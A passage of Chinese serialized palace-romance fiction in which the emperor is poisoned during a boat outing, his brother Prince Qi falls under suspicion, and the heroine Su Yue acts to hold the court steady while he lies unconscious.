苏月应了,这阵子两个人都忙,就如民间百姓过日子,到了年?尾全是?事儿?,见面的次数也少了许多。难得受邀出去游湖,百忙之中也得抽出空来。于是?连夜安排好第二日的日程,安慰自己,偷闲蒙混一日,就算让自己休沐了。 次日打扮好,同颜在?一起赶往鹿鸣湖畔,那兄弟俩早就到了,正在?码头上查看?舫船。见了各自的女郎,都露出了温和的笑,天地间雪还没?化?,老?远伸出手来接应,问?冷不冷,忙着给?女郎搓搓耳朵。 苏月仰头问?他:“政务都推后了么?” 皇帝“嗯”了声,“这么要紧的事,必得排在?前头。”一面古怪地打量她,“你晨食吃了小孩?嘴唇怎么这个颜色?” 苏月说你不懂,“这是?当下最时兴的檀红,色重味香,一盒要二十?两银子。大阿嫂的娘家?阿兄做胭脂生意,特地给?我们姐妹谋来的,你不夸好看?还挑剔,真是?没?眼光。” 皇帝讪笑,发现自己确实不懂女郎的喜好。照他的审美,红红的就很好看?,这种红中带黑的属实怪异,乍看?像中毒了一样。 第72章 第 72 章 一行人?登上舫船, 天气还是阴沉的,鹿鸣湖两岸积雪厚重,但船舱内供着温炉, 已?经?很暖和了。 齐王比手请大家坐, 对皇帝道:“今日?请阿兄和大娘子所为何事, 我昨日?已?经?同阿兄说过了。原本我的亲事倒也?不必劳师动众,但我心里爱重朱娘子, 必要在正式的场合下,请阿兄与大娘子为我作个?见证。” 皇帝颔首, “朕很欣慰, 阿弟长大了,也?要娶妻生?子了。以前?你身子弱,朕只希望你早些大安, 阿爹过世之前?还在同朕念叨, 说二郎体弱, 要朕一定护佑阿弟,让你平安长大成?人?。” 兄弟俩的对话, 字字句句都?是对过去的缅怀,齐王说是,“阿兄每到一处, 听说有良医就为臣弟觅来, 这些年?若没有阿兄, 我早就不在了。与其说兄弟君臣,阿兄对我来说,其实更是亦父亦师。在我心里, 阿兄是世上最重要的人?,我纵死, 也?会守护阿兄,回报阿兄的。” 皇帝听他说罢,眼?里有浮光轻闪,很快垂下眼?笑了笑,“今天是喜日?子,说那些做什么。还是好好商议你们的婚事吧,打算怎么操办。” 齐王转头看了颜在一眼?,脸上弥漫着轻浅的喜欢,款款说:“我没想过今生?还能娶亲,是阿兄的恩典,阿爹的保佑,让我病势痊愈,又遇见了朱娘子。既然缘分来了,不能辜负上苍的美意,我与朱娘子算是知音,既是两心相知,也?有同样的喜好,便想长相厮守,一生?不离不弃。”说着调过视线望向皇帝,拱手道,“正因她身在梨园,我更要注重这门婚事,我要高高抬举她,绝不让人?小看她。所以肯请皇兄为臣弟赐婚,臣弟要风光把她迎娶进门,让她做我的王妃,一辈子疼爱她。” 这番话说得颜在落泪,她从未想到自己?会遇见这样的姻缘。原本以为只是权贵的一时兴起?,却没想到他当了真,发愿要娶她。 皇帝自然是要成?全他的,当即便道:“朕应准了,回去便下旨命秘书省拟诏,等你们成?婚时,亲自为你们证婚。” 齐王忙携颜在肃拜下去,“叩谢陛下。” 左右上前?把人?搀扶起?来,苏月笑着向颜在拱手,“朱娘子,恭喜你呀。” 颜在红着脸,笑靥如花,退到她身旁坐下,紧紧握住了苏月的手。 皇帝舒展着长眉,切切叮嘱阿弟:“既然要定亲,咱们自家决定不算数,要早日?知会亲家。到时候也?把朱家人?迁到上都?来吧,免了思亲之苦,才能一心过日?子。” 齐王说是,含笑望向颜在,“其实我早就有这个?意思,也?曾同她说过,只是那时候相交不深,不敢太莽撞。现在婚事定下来了,我打算差人?往姑苏去报信,年?前?想是来不及了,年?后再慢慢张罗。” 苏月拿肩头顶顶颜在,戏谑道:“人?家说了这么多?,你呢?心里是怎么想的?” 颜在赧然道:“我也?不知该说些什么。我是微末之人?,能得大王如此厚待,心里感念大王。若说回报,我又能如何回报呢,不过真心以待,日?后尽心侍奉大王吧。” 大家都?很欢喜,苏月端起?杯子招呼:“什么都?别说了,咱们满饮此杯,庆贺这桩喜事吧!” 众人?便一同举杯,愉快地碰了碰。将要过年?了,百忙之中能够商定一桩喜事,实在没有辜负这好时光啊。 舫船在湖光山色间行走,远处也?偶见小舟来去,隐隐约约有乐声飘过来,奏的是梨园新进刚出的江南调。 齐王出了个?主意,“大家都?喜欢音声,我记得阿兄擅吹笛,也?会弹琵琶,莫如咱们来考考耳力,看咱们兄弟与梨园的大乐师们,究竟有几多?差距。” 皇帝也?饶有兴致,“你想如何比?” 齐王道:“咱们分成?两队,阿兄阿嫂一队,我与朱娘子一队。以屏风遮挡,让内外侍立的都?来猜,奏乐的究竟是二者中的哪一个?。猜对了有赏,猜错了罚酒,这个?主意如何?” 苏月啧啧,“说是一队,分明是拿我们当对手啊。”笑着对颜在道,“看来大王不服咱们的琴技,我就不信他们成?天握笔的,能与我们不相上下。机会难得,今日?咱们狠杀他们一回。” 于是一拍即合,一方折叠的屏风挡出了两个?世界。屏风后的人?执起?乐器,屏风外一干人?竖起?了耳朵。 苏月和皇帝率先?来,她朝他看了一眼?,这时的陛下分外肃穆,面色都?是沉寂的。她还在暗笑他如临大敌,他抡指奏起?了《十面埋伏》,一阵滚滚的喧嚣,那手法和声势瞬间让她笑不出来了。她以前?只知道他通乐理,但没想到他实操竟也?在行,满轮半拂,杀伐决断,一场你死我活的凶战,绘声绘色铺陈在了所有人?面前?。 屏风外的人?开始下注,国?用说:“这定是大娘子。我听过大娘子在梨园内独奏,就是这样的指法。” 淮州和几个?御前?的内侍不认同,“如此强劲有力,定是陛下啊。” 外面猜测纷纷,皇帝奏完,冲她笑了笑,把琵琶转交给了她。 相较于他的指法,苏月的划拂和扫拂更多?,更擅长用刹弦来描绘刀枪迸鸣的场景。一时让所有人迷茫了,截然不同的两种奏法,呈现出两种截然不同的刀光剑影。谁也说不准究竟谁先?谁后,归根结底就是胡蒙,对错全凭运气。 等屏风撤下,两个?人?又重新弹上了一段,这下结果就很分明了,有人得赏有人罚酒。颜在日日和苏月在一起?,当然不会听错,齐王则铩羽而归,无?奈被那些内侍灌了一大杯。 接下来轮到他和颜在了,两人?起?身坐进了屏风之后。 颜在等着他先?奏,却没想到他把月琴交给了她,凑在她耳边说:“同一首曲子,请娘子先?后用两种手法演奏。” 颜在迟疑了,“我一个?人?奏么?” 齐王含笑点了点头,目中寒辉点点,“娘子定能做到吧?” 乐工一人?有多?种指法,这是基本功,倒并不为难。颜在心下虽然疑惑,也?还是应下了,奏的是《君子饮酒吟》,为了感念皇帝陛下的成?全,对兄友弟恭极力颂扬了一番。 舫船上的船舱,前?后都?设了门,以便随时出舱赏看两岸的风景。门楣上虽有帘幔垂挂,但偶尔被风吹起?,也?还是带来了舱外的凉意,拂得人?鬓边生?寒。 颜在是个?实心的女郎,一心只想奏好曲目,想混淆外面人?的判断。正奏得尽兴,身旁的人?却朝她做了个?噤声的动作,起?身离开了。 她大惑不解,但手上拨弦未停,第一曲近了尾声,略顿片刻,换种指法又奏响了第二曲。 齐王离开的时间并不长,她奏到“家给人?足,时和岁丰”的时候,他回来重新落了座。她也?没有多?想,料他或者是去如厕了,这种事也?不好追问?,仍是兢兢业业把整首曲子奏完了。 等到大家下过注,屏风被撤开了,齐王手里的月琴,奏的是起?始的那一曲。他有极佳的模仿能力,就算是内行,也?听不出两者有任何差距。 这回皇帝和苏月都?猜错了,众人?轰笑,催促着陛下和大娘子快喝。 待齐王和颜在坐回来,苏月还在纳闷,“你们俩的指法竟然那么像……” 皇帝并不起?疑,“所以人?家有缘。能结成?连理,必是有共通之处。” 苏月便开始考虑自己?和他,好像没有共通,只有互补。他矫情粘人?,她有好脾气可以惯着他。 反正一场盛宴,让所有人?酣畅淋漓,内侍们都?散了,宴后预备了甜乳酥酪,端端用金盏装着,一人?一盏搁在了面前?。 皇帝还是对甜食不感兴趣,“女郎的吃食,朕不喜欢。” 齐王却说:“要结成?夫妻,先?得吃到一块儿去,阿兄就勉为其难吧。”一面拿起?金匙,朝他递了过去。 皇帝拗不过,只好浅尝了一口,似乎味道不错,就把整盏酥酪吃完了。 等餐食都?撤下去,大家闲坐在窗边看外面的雪景,苏月吹了冷风打了个?喷嚏,皇帝忙给她递上了手巾。 天还是阴沉的, 说不定下半晌会接着下雪,大家商讨着,过会儿上岸找四匹马来,沿着河堤走上一程,往郊外去。 正说着,苏月不经?意看了皇帝一眼?,见他面色忽然大变,两手扣住了脖子,眼?里都?是惊恐的光。 她心头狂跳,霍地站了起?来,“陛下怎么了?” 话刚说完,皇帝就倒下了,脸色红得几乎拧出血,连眼?里也?布满了血丝。 这下众人?乱成?了一团,齐王大喊:“阿兄……快找御医来,快呀!” 可是今日?游船,又怎么会随身带着御医呢。国?用跳到甲板上疾呼:“靠岸!快靠岸!” 苏月人?已?经?木了,看齐王解开他的领扣,不知道自己?能做什么,跪在边上使劲给他扇风,仿佛空气流通得更快,能全部输送进他肺里似的。 可他的症候看上去很严重,胀红的脸忽然又变得惨白,气息霎时也?微弱了。苏月大哭,觉得天都?要塌了,抱着他陛下大郎一顿乱喊,然而没有用,他不会应她了,人?已?经?一派死寂,魂魄离体只是时间问?题一般。 外面在喧闹,因为舫船离码头很远,要靠岸并不容易。水岸边上尽是芦苇水草,船离岸两丈远,就怎么都?撑不过去了。 御前?的内侍没有犹豫,几个?人?拽过缆绳跳下水,死命往岸边拖拽。终于舫船靠岸架起?了跳板,岸上随扈的缇骑也?赶来了,不知哪里弄出个?大夫,立刻把人?送上了船。 大夫哆哆嗦嗦取针松开他的咽喉,一面探脉搏,在所有人?惊慌的注视下说出了可怕的诊断,“不大好,症候来得如此急,应当是中毒了。” 可船上所用的人?都?是掖庭内派遣出来的啊,尤其饮食这项,都?是平时侍奉御膳的人?员,不可能有人?会给皇帝下毒。事已?至此,最要紧的是先?救命,缇骑张罗起?来,七手八脚把皇帝抬出了船舱。 齐王回头吩咐带队的校尉:“船上的物件不许移动,查出陛下中的是什么毒。人?也?一个?不得放走,全都?羁押起?来,命大理寺严审。” 校尉道是,抬手一挥,两掖的缇骑四散开,把整艘舫船都?控制了起?来。 其它的暂且顾不上了,大家护着皇帝返回宫城。宫内的御医早就严阵以待,一见到人?,便急急跟进了殿内。 太后那头也?听闻消息了,慌张地赶来查看,语不成?调地追问?:“好好的,这是怎么了?我的大郎怎么了?” 齐王扶住母亲,颤声道:“都?是我的错,若今日?没有邀约阿兄,就不会出这种事了。” 太后推开了他,急忙就要入内,苏月上前?搀住她,劝道:“太医们正在诊治,让我们在外头等着。您别急,施救还算及时,不会出事的。” 可是嘴里说着,眼?泪却断线的珠子一样落下来。她不敢想象没有权大的日?子会怎么样,以前?总嫌弃他,到了今时今日?,才知道自己?究竟有多?深爱他。 太后看她泣不成?声,反倒冷静下来了,紧紧握住她的手安慰:“不要紧的,他吉人?天相,那么多?次死里逃生?都?挺过来了……小时候我让人?给他算过命,他大富大贵,能活到八十……不要紧的,太医一定能治好他的。” 乾阳殿内一片惨淡,齐王满脸悲伤地站在一旁,他身后的颜在却探究地望向他,心里的疑问?呼之欲出。但她知道兹事体大,不单是不该问?,连想都?不该去想,只好咬住牙,把一切都?咽进了肚子里。 等了许久,久到苏月几乎坚持不住了,后殿的太医才出来。她紧紧盯着这些人?,他们个?个?脸上表情颓丧,经?太后追问?,推举出一个?话事人?答话,拱着手道:“臣等查验了症状,陛下呕吐、抽搐、喉紧、气短,若没有料错,应当是中了钩吻的毒。这种毒阴狠,只要出手,便是冲着置人?死地来的,陛下能否经?受得住……得看接下来两日?的情况。若上苍保佑,定能否极泰来,请太后切勿慌张。” 若上苍保佑?这就是把命交给天意了? 太后浑身哆嗦,厉声道:“把你们招进太医院,不是让你们听天由命的。老身要你们同阎王爷抢人?,即便只有一分希望,也?要给我把陛下抢回来。” 几位太医忙道是,纷纷忙碌起?来。后寝的廊子上架起?了药炉,冲天的药味,霎时弥漫了整个?乾阳殿内外。 大家进去看人?,苏月的心悬到了嗓子眼?,她不敢面对,却要逼着自己?去看,只见那人?躺在那里面如金纸,气息杳杳地,好像随时都?会续不上。 太后忍不住呜咽,切切地唤着:“大郎,我的儿,你可听见阿娘叫你?你睁开眼?看看娘吧,为娘急得肠子都?要断了,我的儿!” 傅姆见状勉力劝解,“太医医术高超,一定会治好陛下的。这时候您不能哭,您是主心骨,若您一乱,朝野上下就全乱了,这可是攸关社稷的大事,您快定定神吧。” 太后哽咽难止,“这时候叫我怎么能不乱!”转头责问?齐王,“就要过年?了,处处吃紧,你们怎么想到这时候去游船的?” 齐王自然把一切都?扛在了自己?肩上,“这事与娘子们无?关,是儿失算了。我昨日?与阿兄约好,今日?商谈订亲事宜,打算一切说定了,就去回禀阿娘。可没想到竟然会出这么大的纰漏,我悔之晚矣,要是早知道这样,绝不会邀阿兄出宫的。” 太后捶胸顿足,“宫中不能相商吗,何必大冷的天跑到水上去!如今怎么好!怎么好!” 他们怨天尤人?,苏月却顾不上,趴在榻沿上轻声说:“陛下,你醒醒啊。你还没把大梁建成?你喜欢的样子呢,你不能躺下。” 可惜说什么都?没用,他口眼?紧闭,没有半点反应。她的精神几乎崩溃了,把额头抵在他手臂上,哭声传导进了被褥里。 好像什么都?不重要了,她现在只剩后悔,没有和他更多?相处,没有珍惜和他在一起?的时光。人?总是这样,等到要失去了,才意识到平凡的种种有多?可贵。但来不及了,挽回不了,她除了尽心照顾他,别无?他法。 太后当然也?要寸步不离守着儿子,但终归上了点年?纪体弱,急得太久了,心血就快熬干了。 苏月见她脸色很不好,擦了泪过来劝说,“这里有我守着,太后回去歇息吧。” 太后木木地摇头,“回去了也?是牵肠挂肚,哪里歇得好。叫人?在外寝安置个?小榻,我在那儿歇歇脚就成?了。” 这时得知了消息的官员们都?来了,乱糟糟要入内寝。苏月忙道:“不能让他们进来,不能让他们看见陛下的现状。要稳住人?心,才能不令朝野动荡。” 太后被她一提点,立刻回过神来,匆忙向外吩咐:“拦住他们,老身出去见他们。” 齐王见状,过去搀扶母亲入前?殿接见臣工。太后缓了两口气,才从帷幔后走出来,此时脸上的悲色已?经?敛尽了,平住声气道:“你们都?来了?太医已?经?为陛下诊治过了,是有些凶险,但尚且能控制病势,性命倒是无?虞的。只不过临近年?关,朝中诸事繁杂,陛下没有心力主持,还请宰辅带领诸位安抚众臣,平稳朝局。” 宰相连连说是,“太后放心,有臣等在,朝局定是乱不了的。不过陛下的境况究竟如何,臣等忧心忡忡,难以安心啊。” 太后疲乏道:“吃了药,睡下了。大娘子在里面服侍,太医也?寸步不离地守着,定能挺过去的。” 尚书令掖手咬牙,“此事必要严查到底,这朗朗乾坤下,竟有毒害天子的事发生?,容这等祸患存于世,还有什么天理正道可言!” 臣僚们义愤填膺,誓要拿住幕后黑手,这时万里带着大理寺卿疾步进来,大理寺卿向太后回禀:“臣奉命严查了船上众人?,审问?至一名船工时有了发现。此人?曾在大将军李再思府上做过护院,上月莫名离开李府,进了船坊。卑职询问?他为何离开将军府,他一会儿说受将军慢待,一会儿又说家中老母要人?照应,总之驴头不对马嘴,十分可疑。” 大将军李再思手握重兵,居功自傲,屡屡受御史台弹劾,陛下防他,将前?朝公主指婚给他,是不久前?才发生?的事,这是朝野人?尽皆知的。如今陛下被人?毒害,他的护院又出现在舫船上,嫌疑实在巨大,请过了命,就可以盘查了。 齐王当机立断,下令大理寺卿:“立刻命人?捉拿李再思,此事是否与他有关,严审之后自有论断。” 大理寺卿得了令,撒腿便去承办了。 齐王又对太后道:“李再思手中有兵权,捉拿了他,唯恐会引发那些旧部叛乱。儿已?将戍守京畿的大军调至城外,若有异动,也?好及时平叛。” 太后脑子里一团糟,长子不省人?事,小儿子自然是最可信任的,也?不问?其它,烦躁地点了点头。 第73章 第 73 章 众臣工交换了下眼色, 虽然有些异议,但此时也不敢声张。 陛下无子,忽然遭逢骤变, 一切当?然得听太后与?齐王的安排。还记得早前陛下同众臣打趣, 说帝位未见得一定要留在权家, 这?不过是以退为进的策略罢了。果真出了乱子,江山还得掌握在大宗, 说句大逆不道的话,兄终弟及是伦常, 谁敢置喙? 而齐王呢, 似乎也做好了准备,要为兄长挑起大梁了。他以前病恹恹的,只知道有他这?个人存在, 谁也没拿他当?回事。后来疾病痊愈, 入朝参与?了政务, 迅速崭露头角,崛起之快, 令人震惊。 如今陛下忽然被毒害,悬案的矛头指向李再思,但最大的获益者是齐王。齐王趁着这?个时机, 把二十里开外的驻军都调到城外, 说得好听是防止有变, 说得不好听,不就是兵临城下么。 太后作为妇道人家,并不过问政事, 朝中的官员们?却立时窥出了端倪。斧声烛影的故事人人听过,但真到了这?种时候, 谁又敢站出来多说一句。 宰相只得暂且安抚太后,“请太后保重金体,臣等祈盼陛下化险为夷,莫让这?好不容易振兴的国家,重新陷入水深火热中。” 太后一下子像老了十岁,沉重地迈动步子,边挪步边道:“会?好起来的,大家不必担心。这?几日陛下无法临朝,朝政请宰辅与?尚书省通力承办,若有不能决断的,与?齐王商议。” 众臣道是,俯首退出了前殿,太后方才一步步走进后寝,看见卧在床榻上的儿子,哭得几乎倒不上气来。 “哪里有错漏呢……我着人算过的,他的磨难都过去了。”太后自言自语着,忽然醒过味来,“我去给高?祖上香,去问问他是怎么做人阿爹的。儿子被人害了,他就眼睁睁看着,光知道吃贡品,这?个没用的老东西!” 说到做到,果真去兴师问罪了,也许除了这?个办法,她再也想?不出别的手段了。她要去责骂丈夫,更要去求他保佑。他们?历经艰辛,才把这?世道从阿鼻地狱中拯救出来的儿子,不该落得这?样的下场。 苏月则跪坐在脚踏上,双腿已经麻木没有知觉了。 她只知道紧紧盯住他,怕一个错眼,他就从眼前飞走。药来了,她亲自喂他,他咽不下去,她就一点点地揉动他的喉咙,帮助他吞咽。 左手巾帕,右手勺子,一面喂一面擦。可?他咽下去的药少得可?怜,她忍不住悲泣出声,“大郎,你是不是不要我了?” 颜在红着眼上前劝慰,“太医一定能治好陛下的。” 齐王把查出的线索告知她,“大理寺找到了可?疑之人,是李再思府里的护院。朝廷合议后,下令缉捕李再思,一定会?对?阿兄有个交代?的。” 苏月惨笑,“有个交代?……怎么交代?……” 齐王不知该如何回答了,满面愁容地望着她,良久内疚地说:“阿嫂,你怨我吧,都是我的错,我宁愿躺在这?里的人是我。” 苏月摇了摇头,怪谁都没用,她只知守在权珩身边,平时都是他给她撑腰,现在轮到她来保护他了。 “大王送颜在回去吧。”她勉强振作了精神道,“时候不早了,想?来她也累了。” 颜在不放心,“我不走,就在这?里陪着你,若是有什么事,也好照应。” 苏月说不用,“这?么多人守着呢,太医也在,你留下无非苦熬,还是回梨园吧。这?几日我顾不上那里了,你同苏云她们?合力,别让园中生什么事端。” 颜在没办法,犹豫再三?,才恋恋不舍地去了。 一迈出前殿,扑面而来的寒流,让她忍不住打了个哆嗦。浑浑噩噩的脑子一下清明,有些事身处其中看不明白,一旦退后,好像什么都明晰起来了。 身旁的人亦步亦趋护送她,嗓音难掩乏累,“今日吓着你了,对?不住。” 藏在袖内的手用力紧握,颜在平稳心绪道:“别说这?些,谁也没想?到会?发生这?种事。如今陛下遇险,朝中定是一团乱麻,一切还要仰赖你……我只担心你的身子,你千万要保重,不能连你也病倒了。” 有些事,好像只隔着一层窗户纸,谁也不去捅破,就能相安无事。 齐王暗松了口?气,上前拥住她,温声道:“放心,我自会?保重的。今日原本想?让阿兄为我们?见证,不料遭逢骤变,我忙于?应对?,也顾不上你了。咱们?的婚事,因?这?事略有耽误,但你不用担心,过后还是会?照着计划如常进行的。”说罢低头吻了吻她。“颜在,不论将来是平庸一生,还是重任在肩,你是我唯一深爱的人,懂么?” 颜在点点头,把脸贴在他颈窝,“二郎,我们定能平平安安到老的,对?么?” 他说是,用力揽了揽她。 这?阵子感情突飞猛进,彼此间的关系已经密不可?分了,她很聪明,一荣俱荣一损俱损的道理她明白。他看得很透彻,嫉妒本就是人性的一部分,若有机会?,谁不想?成为那个被好友羡慕的人。 牵着她的手,齐王送她到圆璧门上,目光还是依依地,“进去吧,什么都别想?,好生歇一歇。” 颜在道好,走了两步又回首问他:“你呢?是守在宫中,还是回家?” 他说:“出了这?么大的事,我大抵是要留在宫里的,以防有变。再者国事要人主?持,就算不在掖庭,也在南宫。” 颜在心里有了底,朝他挥挥手,“我进去了,你快回去吧。” 他目送她走远,方才踅身返回乾阳殿。 走进内寝再看,苏月仍旧保持着原来的姿势,跪坐在龙榻前。脚步声也没有令她回头,她一遍又一遍摩挲着皇帝的手,仿佛害怕他凉下来,害怕错过他的任何一丝动静。 齐王站了片刻,叹息着退出去了,苏月低头对?榻上的人说:“你想?不想?凑满十枚钱?你还缺几枚,我给你填上好么,只求你快点醒过来。权珩,你不能丢下我,在我知道自己有多喜欢你的时候,忽然把我撇下,我会?恨你一辈子的。” 可?他仍是没有反应,她泄了气,哽咽道:“你醒醒……你不是想?要孩子么,只要你醒过来,我给你生,生几个都成,好么?” 可?惜说了无数诱哄的话,还是没能唤回他。 国用进来规劝,“大娘子,您守了好几个时辰了,歇一歇,进点东西吧。这?里有奴婢,奴婢不错眼珠地看着,不会?出岔子的。” 苏月摇头,“我不累,也不饿。” 国用束手无策,哀声道:“怎么能不累不饿呢,您又不是铁打的,您也得缓一缓啊。如今外头乱,大将军给逮起来了,齐王唯恐他的旧部作乱,把整个上都都围住了……” 苏月一听,顿觉意外,“把上都围住了?守军各有驻地,外廓空虚,又该怎么办?” 国用耷拉着眉眼摇摇头,“这?个奴婢就不知道了,想?来齐王自有安排吧。” 可?苏月还是觉得不对?劲,她同权大打了这?么长时间的交道,耳濡目染下,对?国家的运转和布兵多少是有些了解的。这?个时候不令大军严守驻地,反而私自调动,把京城困在网中,这?是要勤王,还是要造反? 可?印象中的齐王,不应该是这?样的啊。苏月回头看了眼床上的人,他大概没有料到,自己一心扶植的阿弟,会?如此迫不及待地开始铺路。她只觉心寒,兄弟之情原来不堪一击,帝王家表面金玉,内里像个大筛子,只要有一点孔洞,都心急火燎试图往权力的最核心钻。他人还在呢,怎见得他不能被救回来?齐王这?么做,不怕伤了阿兄的心吗? 她满心凄惶,却对?一切无能为力,现在只有寄希望于?那些太医了。太医为他诊治时,都会?请她暂时回避,她一个人站在廊子上,看着浓云密布的天顶直发呆。以后的事不敢去想?,现在只剩懊恼,早知道会?这?样,四年前她就该嫁给他。 太医来来往往奔走,她不知道里面有没有进展,也不敢多问,害怕听到不好的消息。 两个太医经过,边走边嘀咕:“又吐了一回……” 苏月忙拦住了他们?,“是不是把毒都吐出来,毒性就能缓解了?” 太医为难地摇摇头。“从毒发到现在,已经过去五个时辰了,五脏六腑该吸附的都吸附完了,现在呕吐,也只是中毒的症状罢了。” 她紧绷的肩背垮下来,人忽然没了力气,无措地靠着抱柱,捂住了脸。 这?一夜不知是怎么过来的,她守在他床前,再抬眼时,才发现窗外已经亮起来了。 齐王来探望,看见阿兄没有任何起色,大哭了一场。外朝还有政务要处置,他又匆匆离开了。太后从太庙回来,因?跪了一夜,人摇摇欲坠,苏月极力劝她去歇着,她这?才不情不愿地回了安福殿。 又过了会?儿,颜在也来了,拿眼神询问她陛下好些没有,苏月叹息着,摇了摇头。 颜在犹豫片刻,伸手拽了下她的衣袖,“我有些话,想?对?你说。” 苏月“嗯”了声,“有什么话,只管说吧。” 颜在左右看了一圈,确认过了内寝没有外人。这?番话要说出来,天晓得需要多大的决心。她昨晚想?了一晚上,究竟是该瞒,还是该据实相告。出于?私心,大部分人应当?都会?选择捍卫自己的爱情。你所托付的人,能带你走上光辉的前路,你还有什么可?彷徨。 但她与?苏月的感情不同,是凌驾于?爱情之上的友谊。若把权弈和苏月摆在一起让她选择,她定会?选择苏月,不因?别的,就因?没有人在意她的死活时,只有苏月不肯放弃。 咬了咬牙,她没有再犹豫,“大理寺说李将军是幕后主?使,我却觉得谋害陛下的,另有其人。” 苏月惊异地回头,“你可?是知道什么内情?” 颜在便将屏风后发生的种种告诉了她,“我起先以为他是有意捉弄大家,让你们?分辨不出来,可?后来渐渐发现,似乎不是这?么简单。他离开的那段时间,站班的人全都进舱内听曲了,船舷两掖没有人,他的行踪只有他自己知道。陛下中毒这?件事,我也不敢肯定就是他做下的,但我要把我知道的都告诉你,不能让你蒙在鼓里。” 苏月惊得魂不附体,这?样看来,齐王的嫌疑确实很大。难怪事后的种种行为令人费解,如果他没有那么心急火燎,她可?能永远不会?怀疑他。 只是颜在能把一切告诉她,让她五味杂陈。她起身握住了她的手,“你若是隐瞒了,对?你只有好处,你想?过么?” 颜在却笑了,“我又不傻,我昨晚翻来覆去都想?透了,他与?我有这?段情,未必不是他事先计划好的。知情者只有我,等风头过去了,他将我灭口?了怎么办?所以我这?是自救,你不必觉得我高?风亮节,我也有私欲。” 苏月知道她是在宽解自己,惨然道:“可?就算咱们?知道了内情,也未必能扳倒他。” 确实太难了,没有直接的证据,皇帝也没有后继者,无论怎么算,江山都会?落进权弈手里。可?她不甘心,难道权珩的冤屈就算了吗?他若是丢了性命,就让他白白地死了吗? 苏月横下了一条心,“他活着一日,我就守他一日。只要他还有一口?气在,我不能让人爬到他头上,谋夺他拿命挣来的一切。” 颜在点点头,又有些彷徨,“如果……我是说如果,没能留住陛下,你不怕得罪齐王吗?” 苏月笑了笑,“他要是想?除掉我,就算我什么都不做,他也不会?放过我。我如今只有置之死地而后生,让满朝文武都知道我和他不对?付,我才有活命的机会?。” 颜在一向只处置梨园的琐事,并不懂政治上的博弈,对?苏月的决定也唯有好奇,不知道她接下来怎么打算。于?是站在一旁,看她召见了缇骑校尉,命他调动城内缇骑,把守住十二道城门?—— 齐王的兵最多只能盘踞在城外,若是入城,就是谋逆重罪。但不能杜绝他会?安排人在城内活动,暗中勾连文臣武将,巩固自己的地位。 接下来又传见司隶校尉,命他参与?大理寺的审问,着重盘查斗曲这?段时间内,膳司所有人员的行踪,连走了几步路都要交代?清楚。 余下的一件大事,想?实行恐怕有困难。权珩岌岌可?危,官员们?大抵都会?考虑自己的官途,要不要为个垂死之人,得罪最有可?能继承皇位的新君。 苏月也是没有办法,破釜沉舟试一试吧,写了封书信,让国用亲自送往裴忌府上,请他调遣亲军,将南宫牢牢守住。因?为她记得很清楚,初雪那日权珩同她说过,大梁的命脉在南宫,控制住南宫,就能减少□□成的变故。朝中的政要在,那么人心聚拢,皇帝无虞。若是皇帝没有了……改朝换代?也与?她无关了,她能做的都尽力做到,对?得起权珩了。 不过这?些行动都得师出有名?,所以安排妥当?之后去见了太后,跳过了一切有关齐王的疑点,只说是为了稳住朝局。 太后对?儿子是没有偏私的,但凡为大郎好,能安定社?稷,绝不会?有二话。 她只是心疼苏月,哭着说:“好孩子,难为你,才刚订亲,就经历了这?么大的变故。” 苏月这?时彻底认可?了这?位婆母,伸手抱住她说:“阿娘,若儿有福气,一辈子孝敬您。” 两个人抱在一起痛哭,然而没有太多时间容她多愁善感,她还要继续守着权珩,杜绝任何僭越的可?能发生。 对?于?写给裴忌的信,她心里终归是没底的,不敢确定他是否会?响应。自己结交的武将太少,除了他,实在想?不到别人了。如今死马当?活马医,能不能保得南宫的官员忠心不二,就看天意吧。 好在!好在! 一直在外面查探消息的淮州回来禀报,“裴将军的人马已经抵达宫城外了,南宫七道宫门?给围得铁桶一般,任何人不得随意出入。” 苏月大喜,想?了想?道:“命人仔细安排饮食,就说奉太后之命,请诸位大人这?两日暂留宫中。陛下病势稳定之后,便会?召见宰辅和尚书令的。” 淮州道是,领命承办去了。苏月心里的大石头落了地,回到内寝人都有些恍惚了。摸索着坐回床榻前,伏在床沿上说:“我不知能按住这?些人多久,等他们?回过神来,又会?有怎样的轩然大波。所以你要快些好起来,我一颗弹琴奏曲的脑袋,哪有能耐操控朝局。我想?保护你,可?是太难太难了,没有你,我寸步难行。” 不知是不是她看岔了,他的眉心似乎轻蹙了下。 她顿时一惊,忙直起身查看,可?是看了很久,他依旧一派沉寂。她不由失望地跌坐下来,每一刻内心都在经受煎熬。但若问会?不会?犹豫彷徨,并没有。她盼着他能醒转,也相信他一定能醒转。她不想?让他醒来后,面对?的是臣僚倒戈,大权旁落,所以要尽她所能维持住现在的一切。 可?想?而知,裴忌的人马控制住了南宫的通道,这?令齐王十分不满。只是不便表露出来,进入内寝借着探望阿兄,同苏月谈及了这?件事。 “朝中局势复杂,不是大娘子能应对?的。你命裴忌控制住了南宫,等同软禁臣僚。那些人眼下怨声载道,我得花好大的力气,才能安抚住他们?。” “那就辛苦大王了。”苏月淡然道:“我也是奉了太后之命,请大王见谅。毕竟我与?大王一心,你为弹压李再思旧部叛乱,我也得防止人心思变。” 齐王看向她,那双眼睛泠泠泛着寒光,苏月终于?可?以确定,自己以前确实看错了他。 现在他应当?很记恨她,勉强压下了怒火,忽然又浮起了一点稀薄的笑意,“大娘子离后位仅一步之遥,我明白大娘子心里的委屈。但变故来得太快,令人始料未及,我也如你一样悲痛。阿兄爱重你,我也从未拿你当?外人。我虚长你几岁,只要你愿意,我日后自会?拿你当?阿妹一样……” 苏月截断了他的话,“大王说笑了,我是陛下的未婚妻,你只管认我作阿嫂就是了。” 她丝毫不领情,也没有退让的打算,齐王凝视她良久,最后咬着后槽牙笑了笑,转身离开了。 及到傍晚时分,太后也过来了,三?个人坐下商议外朝事宜。齐王还是那番话,要求裴忌撤兵,缇骑在城内巡视搞得人心惶惶,宫中官员个个如坐针毡,让苏月不要插手朝廷大事。 苏月垂下了眼,坚定道:“陛下还活着,大梁还未改天换日。若陛下大行,其后的一切便不与?我相干了,自然交由大王定夺。” 太后见他们?针锋相对?,两边说的都在理,一时不知如何定夺。恰在这?时,国用惊慌失措跑进来通禀,说陛下不好了。 苏月顿觉重锤击中了脑子,这?时什么都顾不上了,起身快步冲进了内寝。 第74章 第 74 章 内寝之中, 刚刚经历了一场天翻地覆。内侍们匆忙打扫,却仍是有沾血的巾帕,落了所有人的眼。 太后顿时大哭起来, “我的儿……我的儿……大郎啊……” 他的枕边有大滩血迹, 没来得及清理。苏月一下子失了力气, 人几?乎崴下去,好在被左右的人搀住了。 勉强定住神, 